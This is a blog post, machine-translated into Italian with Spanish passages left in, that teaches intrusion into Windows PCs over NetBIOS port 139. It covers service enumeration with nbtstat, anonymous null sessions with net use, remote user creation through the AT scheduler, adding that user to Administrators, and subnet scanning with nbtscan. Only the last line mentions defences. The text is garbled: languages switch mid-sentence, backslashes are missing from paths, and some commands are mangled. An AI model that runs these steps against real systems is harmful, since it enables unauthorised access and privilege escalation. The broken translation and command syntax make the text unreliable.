Hacking con NetBIOS

Su questo sito verranno mostrati diversi modi per ottenere tutti i dati possibili da un PC remoto tramite NetBIOS.

La prima cosa da fare è controllare che il computer a cui vogliamo connetterci abbia la porta NetBIOS aperta, Le la porta è la 139; si può fare tramite la console di MSDOS con questo comando: telnet INDIRIZIONEIP 139 e se si connette, sarà aperta, altrimenti bisognerà cercare un altro PC.

La seconda cosa più importante è avere la tabella NetBios, che ci indicherà quali servizi sono in esecuzione sul computer remoto che verificheremo con i risultati ottenuti con comandi successivi

Nome
Suffisso
Tizio
Servizio
<nomecomputer>
00
O
Servizio Workstation
<nomecomputer>
01
O
Servizio Messenger
<_MSBROWSE_>
01
G
Master Browser
<nomecomputer>
03
O
Servizio Messenger
<nomecomputer>
06
O
Servizio Server RAS
<nomecomputer>
1F
O
Servizio NetDDE
<nomecomputer>
20
O
Servizio File Server
<nomecomputer>
21
O
Servizio Client RAS
<nomecomputer>
22
O
Scambio Exchange
<nomecomputer>
23
O
Archiviazione Exchange
<nomecomputer>
24
O
Directory Exchange
<nomecomputer>
30
O
Servizio Server di Condivisione Modem
<nomecomputer>
31
O
Servizio Client di Condivisione Modem
<nomecomputer>
43
O
Controllo Remoto Client SMS
<nomecomputer>
44
O
Strumento di Controllo Remoto Amministratore SMS
<nomecomputer>
45
O
Chat Remota Client SMS
<nomecomputer>
46
O
Trasferimento Remoto Client SMS
<nomecomputer>
4C
O
Servizio TCPIP DEC Pathworks
<nomecomputer>
52
O
Servizio TCPIP DEC Pathworks
<nomecomputer>
87
O
Exchange MTA
<nomecomputer>
6A
O
Exchange IMC
<nomecomputer>
BE
O
Agente Monitoraggio Rete
<nomecomputer>
BF
O
App per il Monitoraggio di Rete
<nome utente>
03
O
Servizio Messenger
<Dominio>
00
G
Nome di dominio
<Dominio>
1B
O
Browser Master Dominio
<Dominio>
1C
G
Controller di dominio
<Dominio>
1D
O
Master Browser
<Dominio>
1E
G
Elezioni del Servizio Browser
<INet~Servizi>
1C
G
Internet Information Server
<IS~Computer_name>
00
O
Internet Information Server

Con este comando de MSDOS podremos saber que servizi corre la maquina remota: nbtstat -A DIRECTIONIP o nbtstat -a NOMBREPC. Aparte de esto también nos dará la direction MAC por si nos interesase.

NetBIOS
Como podremos ver en la imagen hacemos un nbtstat a una IP o nombrePC y nos da esos risultati, que los comparamos con la tabla NetBIOS y sacaremos datos jugosos como su usuario, al dominio que pertenece… y si fuese un Controlador de Dominio veriamos los servicios que corre.

Per stabilire ciò che si chiama sessione nulla, dobbiamo eseguire questo comando: net use INDIRIZIONEIPIPC$ “”/u:”” . Ciò che questo comando fa realmente è autenticarsi sul PC remoto con l'utente anonimo.

Per autenticarsi su un computer remoto con un utente specifico: net use INDIRIZIONEIP /u:UTENTE PASSWORD o net use INDIRIZIONIPC$ /u:UTENTE PASSWORD o net use INDIRIZIONEIPRISORSA /u:UTENTE PASSWORD… Una volta autenticati sull'host remoto, per vedere il contenuto della cartella si può fare net view INDIRIZIONEIP e vedremo il contenuto via MSDOS, ma puoi anche fare, INIZIO > ESEGUI e inserire quello che vuoi: INDIRIZIONEIP o INDIRIZIONEIPRISORSA e ti mostrerà il contenuto nella finestra di Esplora risorse di Windows.

Vedere l'orario remoto: net time INDIRIZIONEIP
Vedere i domini disponibili: net view /domain
Vedere i computer di un dominio specifico: net view /domain:BUJARRA
Visualizzare gli utenti di un team: net user
Visualizzare i dettagli di un utente: net user nomeutente
Creare un utente: net user nome utente password /ADD (Ideale per creare un utente su un PC remoto con il comando AT)
Eliminare un utente: net user nomeutente /DELETE
Visualizzare i gruppi di un PC: net group
Inserire un utente in un gruppo: net nome grupponomeutentegruppo/ADD (Ideale per inserire nel gruppo Amministratori l'utente che abbiamo creato remotamente su un PC)
Rimuovere un utente da un gruppo: net group nomegruppo nomeutente /
DELETE

Comando AT, per eseguire cose in remoto. Con il comando at INDIRIZZOIP vedremo le attività programmate che ha il suo PC e con il comando at INDIRIZZOIP 21:30 /INTERATTIVO “comando di msdos da eseguire sul PC remoto”. Nel comando precedente il valore 21:30 è l'ora alla quale ho impostato che venga eseguito il comando di MSDOS tra virgolette, quindi si può impostare qualsiasi ora, pero primero mira mejor que hora tiene!

La herramienta del Kit de Recursos de MS Windows nltest.rar muestra los controladores de dominio de un dominio en concreto, esempio:
C:>nltest /dclist:bujarra.com
List pof DCS in Domain bujarra.com
bujarra01

Interesante sería el programa Nbtscan que lo que hace es un ‘nbtstat’ de toda una red a una velocidad impresionante.Ejemplo:

C:>nbtscan 192.168.0.0/24
&nbspDoing NBT name scan for addresses from 192.168.0.0/24
&nbspIP address &nbspNetBIOS Server &nbspServer &nbspUser &nbspMAC address
&Registro delle emissioni—————————————————————————–
&nbsp192.168.0.0 &nbspSendto failed: Cannot assign requested address
&nbsp192.168.0.1 &nbspBUJARRA01 <Server> <sconosciuto> &nbsp00-e0-7d-78-11-e6
&nbsp192.168.0.13 &nbspMARIA <Server> &nbspMARIA &nbsp00-e0-7d-76-5a-2b
&nbsp192.168.0.55 &nbspVICETOPC <Server> &nbspVICETO 00-00-f8-30-fa-23
&nbsp192.168.0.100 &nbspRecvfrom failed: Connessione resettata dal peer

Per protegernos de este tipo de ataques debemos o cerrar el puerto 139 en el router, o habilitaremos el firewall en XP o quitaremos el servicio de compartir carpetas e impresoras para redes microsoft (en cualquier S.O. di Microsoft).


Post consigliati

Autore

nheobug@bujarra.com
Autor del blog Bujarra.com Cualquier necesidad que tengas, Non esitate a contattarmi, Cercherò di aiutarti ogni volta che potrò, Condividere è vivere ;) . Goditi i documenti!!!